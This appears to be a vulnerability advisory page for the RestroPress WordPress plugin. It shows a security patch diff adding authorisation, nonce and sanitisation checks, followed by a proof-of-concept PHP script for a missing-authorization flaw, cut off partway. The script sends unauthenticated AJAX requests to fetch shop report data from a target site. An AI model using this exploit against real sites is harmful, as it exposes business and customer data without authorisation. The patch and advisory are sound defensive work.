--- a/restropress/includes/class-rpress-ajax.php
+++ b/restropress/includes/class-rpress-ajax.php
@@ -134,15 +134,63 @@
       add_action( 'wp_ajax_rpress_' . $ajax_event, array( __CLASS__, $ajax_event ) );
     }
   }
+
+  /**
+   * Check whether the current request can access a frontend order action.
+   *
+   * Logged-in users can only access their own user-linked orders.
+   * Guest orders require a valid payment key that can view the receipt.
+   *
+   * @since 3.2.8
+   *
+   * @param int $order_id Payment post ID.
+   * @return bool
+   */
+  private static function can_access_frontend_order_action( $order_id ) {
+    $order_id = absint( $order_id );
+    if ( $order_id <= 0 || 'rpress_payment' !== get_post_type( $order_id ) ) {
+      return false;
+    }
+
+    $user          = rpress_get_payment_meta_user_info( $order_id );
+    $order_user_id = isset( $user['id'] ) ? absint( $user['id'] ) : 0;
+
+    if ( is_user_logged_in() ) {
+      return ( $order_user_id > 0 && get_current_user_id() === $order_user_id );
+    }
+
+    if ( $order_user_id > 0 ) {
+      return false;
+    }
+
+    $payment_key = isset( $_REQUEST['payment_key'] ) ? sanitize_text_field( wp_unslash( $_REQUEST['payment_key'] ) ) : '';
+    if ( empty( $payment_key ) ) {
+      return false;
+    }
+
+    $payment_id_from_key = absint( rpress_get_purchase_id_by_key( $payment_key ) );
+    if ( $payment_id_from_key !== $order_id ) {
+      return false;
+    }
+
+    return (bool) rpress_can_view_receipt( $payment_key );
+  }
   /**
    *  for order reorder.
    */
   public static function  reorder() {
-
-    $user = rpress_get_payment_meta_user_info( absint( $_POST['order_id'] ) );
-
-    if( get_current_user_id() !== $user['id'] ) return;
-    $order_id = isset( $_POST['order_id'] ) ? absint( $_POST['order_id'] ) : '';
+    check_ajax_referer( 'show-order-details', 'security' );
+
+    $order_id = isset( $_POST['order_id'] ) ? absint( wp_unslash( $_POST['order_id'] ) ) : 0;
+    if ( ! self::can_access_frontend_order_action( $order_id ) ) {
+      wp_send_json_error(
+        array(
+          'message' => esc_html__( 'You do not have permission to reorder this order.', 'restropress' ),
+        ),
+        403
+      );
+    }
+
     $payment = get_post( $order_id );
     if( empty( $payment ) ) return;
     $cart = rpress_get_payment_meta_cart_details( $payment->ID, true );
@@ -485,15 +533,77 @@
    */
   public static function show_products() {
     check_ajax_referer( 'show-products', 'security' );
-    $service_type = filter_input( INPUT_POST, 'service_type' );
-    $selected_date = filter_input( INPUT_POST, 'selected_date' );
-    if ( empty( $_POST['fooditem_id'] ) || empty( $service_type ) )
-      return;
-    if( ! rpress_is_store_open( $service_type, $selected_date ) ){
-      $response = array('status' => 'error', 'error_msg' => rpress_store_closed_message($service_type));
+    $service_type = sanitize_key( (string) filter_input( INPUT_POST, 'service_type' ) );
+    $selected_date = sanitize_text_field( (string) filter_input( INPUT_POST, 'selected_date' ) );
+    $selected_time = sanitize_text_field( (string) filter_input( INPUT_POST, 'selected_time' ) );
+    if ( empty( $_POST['fooditem_id'] ) ) {
+      wp_send_json_error(
+        array(
+          'status' => 'error',
+          'error_msg' => __( 'Unable to load item details. Please try again.', 'restropress' ),
+        )
+      );
+    }
+    $enabled_service = rpress_get_option( 'enable_service', 'delivery_and_pickup' );
+    $allowed_services = ( 'delivery_and_pickup' === $enabled_service ) ? array( 'delivery', 'pickup' ) : array( $enabled_service );
+    $allowed_services = array_map( 'sanitize_key', $allowed_services );
+    if ( empty( $service_type ) || ! in_array( $service_type, $allowed_services, true ) ) {
+      wp_send_json_error(
+        array(
+          'status' => 'error',
+          'error_msg' => __( 'Please select a service type.', 'restropress' ),
+        )
+      );
+    }
+    if ( empty( $selected_date ) ) {
+      wp_send_json_error(
+        array(
+          'status' => 'error',
+          'error_msg' => __( 'Please select a service date.', 'restropress' ),
+        )
+      );
+    }
+    $selected_date_ts = strtotime( $selected_date );
+    if ( false === $selected_date_ts ) {
+      wp_send_json_error(
+        array(
+          'status' => 'error',
+          'error_msg' => __( 'Please select a valid service date.', 'restropress' ),
+        )
+      );
+    }
+    $selected_date = date_i18n( 'Y-m-d', $selected_date_ts );
+    $service_time_hidden = function_exists( 'rp_otil_is_service_time_hidden' ) && rp_otil_is_service_time_hidden( $service_type );
+    $service_time = ! empty( $selected_time )
+      ? $selected_time
+      : ( isset( $_COOKIE['service_time'] ) ? sanitize_text_field( wp_unslash( $_COOKIE['service_time'] ) ) : '' );
+    if ( ! $service_time_hidden && empty( $service_time ) ) {
+      wp_send_json_error(
+        array(
+          'status' => 'error',
+          'error_msg' => __( 'Please select a service time.', 'restropress' ),
+        )
+      );
+    }
+    if ( ! rpress_is_store_open( $service_type, $selected_date ) ) {
+      $response = array( 'status' => 'error', 'error_msg' => rpress_store_closed_message( $service_type ) );
       wp_send_json_error( $response );
       die();
     }
+    if ( ! $service_time_hidden && ! empty( $service_time ) ) {
+      $allow_asap = rpress_get_option( 'enable_asap_option' );
+      $prep_time  = (int) rpress_get_option( 'prep_time', 0 ) * 60;
+      $current_time = current_time( 'timestamp' ) + $prep_time;
+      $service_time_ts = strtotime( $selected_date . ' ' . $service_time );
+      if ( false !== $service_time_ts && $service_time_ts < $current_time && ! $allow_asap ) {
+        wp_send_json_error(
+          array(
+            'status' => 'error',
+            'error_msg' => __( 'Selected time slot is no longer available. Please choose another time.', 'restropress' ),
+          )
+        );
+      }
+    }
     $fooditem_id = sanitize_text_field ( wp_unslash( $_POST['fooditem_id'] ) );
     $price = '';
     if ( ! empty( $fooditem_id ) ) {
@@ -581,6 +691,7 @@
    * Check Service Options availibility
    */
   public static function check_service_slot() {
+    check_ajax_referer( 'service-type', 'security' );
     $data = rpress_sanitize_array( $_POST );
     $response = apply_filters( 'rpress_check_service_slot', $data );
     $response = apply_filters( 'rpress_validate_slot', $response );
@@ -869,6 +980,8 @@
   * Proceed Checkout
   */
   public static function proceed_checkout() {
+    check_ajax_referer( 'proceed-checkout', 'security' );
+
     $response = rpress_pre_validate_order();
     $response = apply_filters( 'rpress_proceed_checkout', $response );
     wp_send_json( $response );
@@ -880,12 +993,22 @@
    */
   public static function get_order_details() {
     check_admin_referer( 'rpress-preview-order', 'security' );
-    if ( isset( $_GET['payment_id'] ) ){
-      if( ! current_user_can( 'edit_shop_payments', $_GET['payment_id'] ) ) {
-        wp_die( esc_html__( 'You do not have permission to update this order', 'restropress' ), esc_html__( 'Error', 'restropress' ), array( 'response' => 403 ) );
-      }
+    $order_id = isset( $_GET['order_id'] ) ? absint( wp_unslash( $_GET['order_id'] ) ) : 0;
+
+    if ( empty( $order_id ) ) {
+      wp_send_json_error(
+        array(
+          'message' => esc_html__( 'Invalid order request.', 'restropress' ),
+        ),
+        400
+      );
+    }
+
+    if ( ! current_user_can( 'edit_shop_payments', $order_id ) ) {
+      wp_die( esc_html__( 'You do not have permission to update this order', 'restropress' ), esc_html__( 'Error', 'restropress' ), array( 'response' => 403 ) );
     }
-    $order = rpress_get_payment( absint( $_GET['order_id'] ) );
+
+    $order = rpress_get_payment( $order_id );
     if ( $order ) {
       include_once 'admin/payments/class-payments-table.php';
       wp_send_json_success( RPRESS_Payment_History_Table::order_preview_get_order_details( $order ) );
@@ -1151,7 +1274,7 @@
    */
   public static function fooditem_search() {
     global $wpdb;
-    $search   = sanitize_text_field( $_GET['s'] );
+    $search   = isset( $_GET['s'] ) ? sanitize_text_field( wp_unslash( $_GET['s'] ) ) : '';
     $excludes = ( isset( $_GET['current_id'] ) ? (array) $_GET['current_id'] : array() );
     $excludes = array_unique( array_map( 'absint', $excludes ) );
     $exclude  = implode( ",", $excludes );
@@ -1186,7 +1309,7 @@
       foreach( $items as $item ) {
         $results[] = array(
           'id'   => $item->ID,
-          'name' => $item->post_title
+          'name' => wp_strip_all_tags( $item->post_title )
         );
         if ( $variations && rpress_has_variable_prices( $item->ID ) ) {
           $prices = rpress_get_variable_prices( $item->ID );
@@ -1220,7 +1343,7 @@
    */
   public static function customer_search() {
     global $wpdb;
-    $search  = esc_sql( sanitize_text_field( $_GET['s'] ) );
+    $search  = isset( $_GET['s'] ) ? esc_sql( sanitize_text_field( wp_unslash( $_GET['s'] ) ) ) : '';
     $results = array();
     $customer_view_role = apply_filters( 'rpress_view_customers_role', 'view_shop_reports' );
     if ( ! current_user_can( $customer_view_role ) ) {
@@ -1237,13 +1360,15 @@
     }
     if( $customers ) {
       foreach( $customers as $customer ) {
+        $customer_name  = isset( $customer->name ) ? wp_strip_all_tags( $customer->name ) : '';
+        $customer_email = isset( $customer->email ) ? sanitize_email( $customer->email ) : '';
         $results[] = array(
           'id'   => $customer->id,
-          'name' => $customer->name . '(' .  $customer->email . ')'
+          'name' => $customer_name . '(' .  $customer_email . ')'
         );
       }
     } else {
-      $customers[] = array(
+      $results[] = array(
         'id'   => 0,
         'name' => __( 'No results found', 'restropress' )
       );
@@ -1259,7 +1384,7 @@
    */
   public static function user_search() {
     global $wpdb;
-    $search         = esc_sql( sanitize_text_field( $_GET['s'] ) );
+    $search         = isset( $_GET['s'] ) ? esc_sql( sanitize_text_field( wp_unslash( $_GET['s'] ) ) ) : '';
     $results        = array();
     $user_view_role = apply_filters( 'rpress_view_users_role', 'view_shop_reports' );
     if ( ! current_user_can( $user_view_role ) ) {
@@ -1275,7 +1400,7 @@
       foreach( $users as $user ) {
         $results[] = array(
           'id'   => $user->ID,
-          'name' => $user->display_name,
+          'name' => wp_strip_all_tags( $user->display_name ),
         );
       }
     } else {
@@ -1295,8 +1420,8 @@
    */
   public static function search_users() {
     if( current_user_can( 'manage_shop_settings' ) ) {
-      $search_query = trim( sanitize_text_field( $_POST['user_name'] ) );
-      $exclude      = trim( sanitize_text_field( $_POST['exclude'] ) );
+      $search_query = isset( $_POST['user_name'] ) ? trim( sanitize_text_field( wp_unslash( $_POST['user_name'] ) ) ) : '';
+      $exclude      = isset( $_POST['exclude'] ) ? trim( sanitize_text_field( wp_unslash( $_POST['exclude'] ) ) ) : '';
       $get_users_args = array(
         'number' => 9999,
         'search' => $search_query . '*'
@@ -1328,6 +1453,18 @@
    * @return      json | user notification json object
    */
   public static function check_new_orders() {
+    $orders_cap = apply_filters( 'rpress_check_new_orders_cap', 'edit_shop_payments' );
+    if ( ! current_user_can( $orders_cap ) ) {
+      wp_send_json_error(
+        array(
+          'message' => esc_html__( 'You do not have permission to access this resource.', 'restropress' ),
+        ),
+        403
+      );
+    }
+
+    check_ajax_referer( 'rpress-check-new-orders', 'security' );
+
     $last_order = get_option( 'rp_last_order_id' );
     $order      = rpress_get_payments( array( 'number' => 1, 'status' => array( 'publish'     => __( 'Paid', 'restropress' ), 'processing'  => __( 'Processing', 'restropress' )) ) );
     if( is_array( $order ) && $order[0]->ID != $last_order ) {
@@ -1392,7 +1529,8 @@
         'url'        => home_url()
       );
       // Call the custom API.
-      $response = wp_remote_post( 'https://www.restropress.com', array( 'timeout' => 15, 'sslverify' => false, 'body' => $api_params ) );
+      $verify_ssl = (bool) apply_filters( 'rpress_remote_request_verify_ssl', true );
+      $response = wp_remote_post( 'https://www.restropress.com', array( 'timeout' => 15, 'sslverify' => $verify_ssl, 'body' => $api_params ) );
       // make sure the response came back okay
       if ( is_wp_error( $response )
         || 200 !== wp_remote_retrieve_response_code( $response ) ) {
@@ -1471,7 +1609,8 @@
         'url'        => home_url()
       );
       // Call the custom API.
-      $response = wp_remote_post( 'https://www.restropress.com', array( 'timeout' => 15, 'sslverify' => false, 'body' => $api_params ) );
+      $verify_ssl = (bool) apply_filters( 'rpress_remote_request_verify_ssl', true );
+      $response = wp_remote_post( 'https://www.restropress.com', array( 'timeout' => 15, 'sslverify' => $verify_ssl, 'body' => $api_params ) );
       // make sure the response came back okay
       if ( is_wp_error( $response ) || 200 !== wp_remote_retrieve_response_code( $response ) ) {
         if ( is_wp_error( $response ) ) {
@@ -1504,9 +1643,18 @@
   public static function show_order_details() {

     check_ajax_referer( 'show-order-details', 'security' );
-    $user = rpress_get_payment_meta_user_info( absint( $_POST['order_id'] ) );
-
-    if( get_current_user_id() !== $user['id'] ) return;
+    $order_id = isset( $_POST['order_id'] ) ? absint( wp_unslash( $_POST['order_id'] ) ) : 0;
+
+    if ( ! self::can_access_frontend_order_action( $order_id ) ) {
+      wp_send_json_error(
+        array(
+          'message' => esc_html__( 'You do not have permission to view this order.', 'restropress' ),
+        ),
+        403
+      );
+    }
+
+    $_POST['order_id'] = $order_id;
     ob_start();
     rpress_get_template_part( 'rpress', 'show-order-details' );
     $html = ob_get_clean();
@@ -1524,6 +1672,16 @@
    */
   public static function more_order_history() {
     check_ajax_referer( 'show-order-details', 'security' );
+
+    if ( ! is_user_logged_in() ) {
+      wp_send_json_error(
+        array(
+          'message' => esc_html__( 'You must be logged in to view order history.', 'restropress' ),
+        ),
+        403
+      );
+    }
+
     ob_start();
     include RP_PLUGIN_DIR . '/templates/rpress-order-history-load-more.php';
     $html = ob_get_clean();
@@ -1531,13 +1689,19 @@
     rpress_die();
   }
   public static function delete_user_address(){
+    check_ajax_referer( 'rpress-user-address', 'security' );
+
+    if ( ! is_user_logged_in() ) {
+      wp_send_json_error( array( 'success' => false ), 403 );
+    }
+
     if( isset( $_POST['index'] ) ) {
-      $index    = $_POST['index'];
+      $index    = absint( wp_unslash( $_POST['index'] ) );
       $user_id  = get_current_user_id();
       // Get user addresses
       $user_addresses = get_user_meta($user_id, 'user_addresses', true);

-      if(!empty($user_addresses)){
+      if(!empty($user_addresses) && isset( $user_addresses[ $index ] )){
           // Remove the address array from the main array
           unset($user_addresses[$index]);

@@ -1558,11 +1722,21 @@
     }
   }
   public static function default_user_address(){
+    check_ajax_referer( 'rpress-user-address', 'security' );
+
+    if ( ! is_user_logged_in() ) {
+      wp_send_json_error( array( 'success' => false ), 403 );
+    }
+
     if( isset( $_POST['index'] ) ) {
-      $index    = $_POST['index'];
+      $index    = absint( wp_unslash( $_POST['index'] ) );
       $user_id  = get_current_user_id();
       // Get user addresses
       $user_addresses = get_user_meta( $user_id, 'user_addresses', true );
+      if ( empty( $user_addresses ) || ! isset( $user_addresses[ $index ] ) ) {
+        echo wp_json_encode( ['success' => false] );
+        return;
+      }
       $default_address = $user_addresses[$index];

       $new_address = array(
@@ -1596,6 +1770,7 @@
    * @return json
    */
   public static function checkout_update_service_option() {
+    check_ajax_referer( 'update-service', 'security' );
     do_action( 'rpress_checkout_service_option_updated' );
     ob_start();
     rpress_order_details_fields();
@@ -1613,6 +1788,7 @@
     rpress_die();
   }
   public static function remove_fees_after_empty_cart() {
+    check_ajax_referer( 'clear-cart', 'security' );

     RPRESS()->session->set('rpress_cart', null);
     // Remove all cart fees.
@@ -1629,7 +1805,9 @@
   }

   public static function update_modal_on_service_switch() {
-     $service_type = $_GET['service_type'];
+    check_ajax_referer( 'service-type', 'security' );
+
+    $service_type = isset( $_GET['service_type'] ) ? sanitize_text_field( wp_unslash( $_GET['service_type'] ) ) : '';

     ob_start();
     rpress_get_template_part('rpress','datetime-popup');
--- a/restropress/includes/class-rpress-frontend-scripts.php
+++ b/restropress/includes/class-rpress-frontend-scripts.php
@@ -219,6 +219,7 @@
     self::enqueue_script('swl-js');
     $user_params = array(
       'ajaxurl' => rpress_get_ajax_url(),
+      'address_nonce' => wp_create_nonce( 'rpress-user-address' ),
     );
     wp_register_script('user-dashboard-scripts', plugin_dir_url(RP_PLUGIN_FILE) . 'assets/js/user-dashboard.js', array('jquery'), RP_VERSION, true);
     wp_localize_script('user-dashboard-scripts', 'users', $user_params);
@@ -294,14 +295,14 @@
       'success' => esc_html__('Success', 'restropress'),
       'success_empty_cart' => esc_html__('Cart cleared', 'restropress'),
       'decimal_separator' => rpress_get_option('decimal_separator', '.'),
-      'cart_quantity' => $cart_quantity,
-      'items' => esc_html__('Items', 'restropress'),
-      'no_image' => RP_PLUGIN_URL . 'assets/images/no-image.png',
-      'always_open' => !empty(rpress_get_option('enable_always_open')) ? '1' : '0',
-      'open_hours' => (rpress_get_option('enable_always_open')) ? '12:00am' : rpress_get_option('open_time'),
-      'close_hours' => (rpress_get_option('enable_always_open')) ? '11:59pm' : rpress_get_option('close_time'),
-      'closed_message' => $closed_message,
-    );
+      'cart_quantity' => $cart_quantity,
+      'items' => esc_html__('Items', 'restropress'),
+      'no_image' => RP_PLUGIN_URL . 'assets/images/no-image.png',
+      'always_open' => !empty(rpress_get_option('enable_always_open')) ? '1' : '0',
+      'open_hours' => (rpress_get_option('enable_always_open')) ? '12:00am' : rpress_get_option('open_time'),
+      'close_hours' => (rpress_get_option('enable_always_open')) ? '11:59pm' : rpress_get_option('close_time'),
+      'closed_message' => $closed_message,
+    );
     $cookie_service = isset($_COOKIE['service_type']) ? sanitize_text_field(wp_unslash($_COOKIE['service_type'])) : $default_service;
     $cookie_service = apply_filters('rpress_current_service_type', $cookie_service);

--- a/restropress/includes/class-rpress-print-receipts.php
+++ b/restropress/includes/class-rpress-print-receipts.php
@@ -133,13 +133,14 @@
    *
    */
   public function rp_print_payment_data() {
-
-    if( ! current_user_can( 'edit_shop_payments', $_GET['payment_id'] ) ) {
-        wp_die( esc_html__( 'You do not have permission to update this order', 'restropress' ), esc_html__( 'Error', 'restropress' ), array( 'response' => 403 ) );
+    check_ajax_referer( 'rpress-order', 'security' );
+
+    $payment_id = isset( $_GET['payment_id'] ) ? absint( wp_unslash( $_GET['payment_id'] ) ) : '';
+
+    if ( ! current_user_can( 'edit_shop_payments', $payment_id ) ) {
+      wp_die( esc_html__( 'You do not have permission to update this order', 'restropress' ), esc_html__( 'Error', 'restropress' ), array( 'response' => 403 ) );
     }

-    $payment_id = isset( $_GET['payment_id'] ) ? absint( $_GET['payment_id'] ) : '';
-
     if( empty( $payment_id ) ) return;

     $payment    = new RPRESS_Payment( $payment_id );
@@ -285,4 +286,4 @@
     return $payment_receipt;
   }
 }
-$print_receipts = new RPRESS_Print_Receipts();
 No newline at end of file
+$print_receipts = new RPRESS_Print_Receipts();
--- a/restropress/includes/class-rpress.php
+++ b/restropress/includes/class-rpress.php
@@ -18,7 +18,7 @@
 	 *
 	 * @var string
 	 */
-	public $version = '3.2.7';
+	public $version = '3.2.8';
 	/**
 	 * The single instance of the class.
 	 *
--- a/restropress/includes/process-purchase.php
+++ b/restropress/includes/process-purchase.php
@@ -30,19 +30,45 @@
 		// Validate the form $_POST data
 		$valid_data = rpress_purchase_form_validate_fields();

-		// Check cookies for service type and service time
-		$service_type = isset( $_COOKIE['service_type'] ) ? sanitize_text_field( $_COOKIE['service_type'] ) : '';
-		$service_time = isset( $_COOKIE['service_time'] ) ? sanitize_text_field( $_COOKIE['service_time'] ) : '';
-
-		if ( empty( $service_type ) ) {
-			$valid_data = false;
-			rpress_set_error( 'missing_service_type', __( 'Please select a service type.', 'restropress' ) );
-		}
-
-		if ( empty( $service_time ) ) {
-			$valid_data = false;
-			rpress_set_error( 'missing_service_time', __( 'Please select a service time.', 'restropress' ) );
-		}
+		// Validate selected service context from cookies.
+		$service_type = isset( $_POST['rpress_service_type'] ) ? sanitize_key( wp_unslash( $_POST['rpress_service_type'] ) ) : '';
+		if ( empty( $service_type ) ) {
+			$service_type = isset( $_COOKIE['service_type'] ) ? sanitize_key( wp_unslash( $_COOKIE['service_type'] ) ) : '';
+		}
+		$service_time = isset( $_POST['rpress_service_time'] ) ? sanitize_text_field( wp_unslash( $_POST['rpress_service_time'] ) ) : '';
+		if ( empty( $service_time ) ) {
+			$service_time = isset( $_COOKIE['service_time'] ) ? sanitize_text_field( wp_unslash( $_COOKIE['service_time'] ) ) : '';
+		}
+		$service_date = isset( $_POST['rpress_service_date'] ) ? sanitize_text_field( wp_unslash( $_POST['rpress_service_date'] ) ) : '';
+		if ( empty( $service_date ) ) {
+			$service_date = isset( $_COOKIE['service_date'] ) ? sanitize_text_field( wp_unslash( $_COOKIE['service_date'] ) ) : '';
+		}
+		$enabled_service = rpress_get_option( 'enable_service', 'delivery_and_pickup' );
+		$allowed_services = ( 'delivery_and_pickup' === $enabled_service ) ? array( 'delivery', 'pickup' ) : array( $enabled_service );
+		$allowed_services = array_map( 'sanitize_key', $allowed_services );
+
+		if ( empty( $service_type ) || ! in_array( $service_type, $allowed_services, true ) ) {
+			$valid_data = false;
+			rpress_set_error( 'missing_service_type', __( 'Please select a service type.', 'restropress' ) );
+		}
+
+		if ( ! empty( $service_type ) ) {
+			if ( empty( $service_date ) ) {
+				$service_date = rp_row_date( '', $service_type );
+			}
+
+			if ( ! rpress_is_store_open( $service_type, $service_date ) ) {
+				$valid_data = false;
+				// Reuse checkout-wide order error key to avoid duplicate store-closed notices.
+				rpress_set_error( 'order_error', rpress_store_closed_message( $service_type ) );
+			}
+		}
+
+		$service_time_hidden = ! empty( $service_type ) && function_exists( 'rp_otil_is_service_time_hidden' ) && rp_otil_is_service_time_hidden( $service_type );
+		if ( empty( $service_time ) && ! $service_time_hidden ) {
+			$valid_data = false;
+			rpress_set_error( 'missing_service_time', __( 'Please select a service time.', 'restropress' ) );
+		}

 		// Allow themes and plugins to hook to errors
 		do_action( 'rpress_checkout_error_checks', $valid_data, $data );
@@ -198,21 +224,24 @@
 	$is_ajax = isset( $_POST['rpress_ajax'] ) ? sanitize_text_field( $_POST['rpress_ajax'] ) : null;
 	$user_data = rpress_purchase_form_validate_user_login();
 	if ( rpress_get_errors() || $user_data['user_id'] < 1 ) {
-		if ( $is_ajax ) {
-			do_action( 'rpress_ajax_checkout_errors' );
-			rpress_die();
-		} else {
-			wp_redirect( $_SERVER['HTTP_REFERER'] ); exit;
-		}
-	}
+		if ( $is_ajax ) {
+			do_action( 'rpress_ajax_checkout_errors' );
+			rpress_die();
+		} else {
+			$redirect_url = wp_get_referer() ? wp_get_referer() : rpress_get_checkout_uri();
+			wp_safe_redirect( $redirect_url );
+			exit;
+		}
+	}
 	rpress_log_user_in( $user_data['user_id'], $user_data['user_login'], $user_data['user_pass'] );
-	if ( $is_ajax ) {
-		echo 'success';
-		rpress_die();
-	} else {
-		wp_redirect( rpress_get_checkout_uri( $_SERVER['QUERY_STRING'] ) );
-	}
-}
+	if ( $is_ajax ) {
+		echo 'success';
+		rpress_die();
+	} else {
+		$query_string = isset( $_SERVER['QUERY_STRING'] ) ? sanitize_text_field( wp_unslash( $_SERVER['QUERY_STRING'] ) ) : '';
+		wp_safe_redirect( rpress_get_checkout_uri( $query_string ) );
+	}
+}
 add_action( 'wp_ajax_rpress_process_checkout_login', 'rpress_process_purchase_login' );
 add_action( 'wp_ajax_nopriv_rpress_process_checkout_login', 'rpress_process_purchase_login' );
 /**
@@ -309,13 +338,17 @@
 * @since 2.7.2
 * @return bool
 */
-function rpress_validate_service_type() {
-	if( empty( $_COOKIE['service_type'] ) ) {
-		rpress_set_error( 'empty_service_type', __( 'Please select a Service.', 'restropress' ) );
-	} else {
-		return true;
-	}
-}
+function rpress_validate_service_type() {
+	$service_type = isset( $_POST['rpress_service_type'] ) ? sanitize_key( wp_unslash( $_POST['rpress_service_type'] ) ) : '';
+	if ( empty( $service_type ) ) {
+		$service_type = isset( $_COOKIE['service_type'] ) ? sanitize_key( wp_unslash( $_COOKIE['service_type'] ) ) : '';
+	}
+	if( empty( $service_type ) ) {
+		rpress_set_error( 'empty_service_type', __( 'Please select a Service.', 'restropress' ) );
+	} else {
+		return true;
+	}
+}
 /**
  * Purchase Form Validate Gateway
  *
--- a/restropress/includes/rp-ajax-functions.php
+++ b/restropress/includes/rp-ajax-functions.php
@@ -114,33 +114,33 @@
  * @since 1.0
  * @return void
  */
-function get_fooditem_lists($fooditem_id, $cart_key = '')
-{
-    $addons = get_post_meta($fooditem_id, '_addon_items', true);
-    if (!is_array($addons)) {
-        $addons = array();
-    }
-
-    $chosen_addons = array();
-    $addon_quantity = [];
-    $price_id = 0;
-    $addon_ids = $child_ids = array();
-    if (!empty($addons)) {
-        foreach ($addons as $addon) {
-            if (!empty($addon['category'])) {
-                $addon_ids[] = absint($addon['category']);
-                if (isset($addon['items']) && is_array($addon['items'])) {
-                    $child_ids = array_merge($child_ids, $addon['items']);
-                }
-            }
-        }
-    }
-    $addon_ids = array_values(array_unique(array_filter(array_map('absint', $addon_ids))));
-    $child_ids = array_values(array_unique(array_filter(array_map('absint', $child_ids))));
-
-    if ($cart_key !== '') {
-        $cart_contents = rpress_get_cart_contents();
-        $cart_contents = $cart_contents[$cart_key];
+function get_fooditem_lists($fooditem_id, $cart_key = '')
+{
+    $addons = get_post_meta($fooditem_id, '_addon_items', true);
+    if (!is_array($addons)) {
+        $addons = array();
+    }
+
+    $chosen_addons = array();
+    $addon_quantity = [];
+    $price_id = 0;
+    $addon_ids = $child_ids = array();
+    if (!empty($addons)) {
+        foreach ($addons as $addon) {
+            if (!empty($addon['category'])) {
+                $addon_ids[] = absint($addon['category']);
+                if (isset($addon['items']) && is_array($addon['items'])) {
+                    $child_ids = array_merge($child_ids, $addon['items']);
+                }
+            }
+        }
+    }
+    $addon_ids = array_values(array_unique(array_filter(array_map('absint', $addon_ids))));
+    $child_ids = array_values(array_unique(array_filter(array_map('absint', $child_ids))));
+
+    if ($cart_key !== '') {
+        $cart_contents = rpress_get_cart_contents();
+        $cart_contents = $cart_contents[$cart_key];

         $price_id = isset($cart_contents['price_id']) ? $cart_contents['price_id'] : 0;
         if (!empty($cart_contents['addon_items'])) {
@@ -214,25 +214,25 @@
                 if (empty($addon_items)) {
                     continue;
                 }
-                $addon_name = $addon_items->name;
-                $addon_slug = $addon_items->slug;
-                $addon_id = $addon_items->term_id;
-                $addon_config = isset($addons[$parent]) && is_array($addons[$parent]) ? $addons[$parent] : array();
-
-                // Backward compatibility: some datasets store addon rows as numeric arrays.
-                if (empty($addon_config)) {
-                    foreach ($addons as $addon_row) {
-                        if (!empty($addon_row['category']) && absint($addon_row['category']) === absint($parent)) {
-                            $addon_config = $addon_row;
-                            break;
-                        }
-                    }
-                }
-
-                $is_required = isset($addon_config['is_required']) ? $addon_config['is_required'] : 'no';
-                $max_addons = isset($addon_config['max_addons']) ? $addon_config['max_addons'] : 0;
-                $min_addons = isset($addon_config['min_addons']) ? $addon_config['min_addons'] : 0;
-                $is_default = isset($addon_config['default']) ? $addon_config['default'] : array();
+                $addon_name = $addon_items->name;
+                $addon_slug = $addon_items->slug;
+                $addon_id = $addon_items->term_id;
+                $addon_config = isset($addons[$parent]) && is_array($addons[$parent]) ? $addons[$parent] : array();
+
+                // Backward compatibility: some datasets store addon rows as numeric arrays.
+                if (empty($addon_config)) {
+                    foreach ($addons as $addon_row) {
+                        if (!empty($addon_row['category']) && absint($addon_row['category']) === absint($parent)) {
+                            $addon_config = $addon_row;
+                            break;
+                        }
+                    }
+                }
+
+                $is_required = isset($addon_config['is_required']) ? $addon_config['is_required'] : 'no';
+                $max_addons = isset($addon_config['max_addons']) ? $addon_config['max_addons'] : 0;
+                $min_addons = isset($addon_config['min_addons']) ? $addon_config['min_addons'] : 0;
+                $is_default = isset($addon_config['default']) ? $addon_config['default'] : array();

                 if (!empty($is_default))
                     $chosen_addons = array_merge($chosen_addons, $is_default);
@@ -279,14 +279,14 @@
                     <input type="hidden" name="max_limit" class="addon_max_limit" value="<?php echo esc_attr($max_addons); ?>" />
                     <input type="hidden" name="min_limit" class="addon_min_limit" value="<?php echo esc_attr($min_addons); ?>" />
                     <?php
-                    $addon_category_args = array(
-                        'taxonomy' => 'addon_category',
-                        'parent' => $addon_items->term_id,
-                    );
-                    if (!empty($child_ids)) {
-                        $addon_category_args['include'] = $child_ids;
-                    }
-                    $child_addons = get_terms(apply_filters('rp_addon_category', $addon_category_args));
+                    $addon_category_args = array(
+                        'taxonomy' => 'addon_category',
+                        'parent' => $addon_items->term_id,
+             

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-62129 - RestroPress <= 3.2.7 - Missing Authorization

<?php

$target_url = 'http://vulnerable-wordpress-site.com/wp-admin/admin-ajax.php';

// The vulnerable AJAX actions that accept nopriv (unauthenticated) requests
$vulnerable_actions = [
    'selected_filter',
    'order_graph_filter',
    'revenue_graph_filter',
    'customers_data_filter'
];

foreach ($vulnerable_actions as $action) {
    echo "n[+] Testing action: {$action}n";
    
    $post_data = [
        'action' => $action,
        'select_filter' => 'yearly',  // Parameter for filter functions
        'date' => 'today',            // Parameter for selected_filter
        'selected_option' => 'monthly' // Parameter for customers_data_filter
    ];
    
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $target_url);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
    
    // Add headers to mimic legitimate AJAX request
    $headers = [
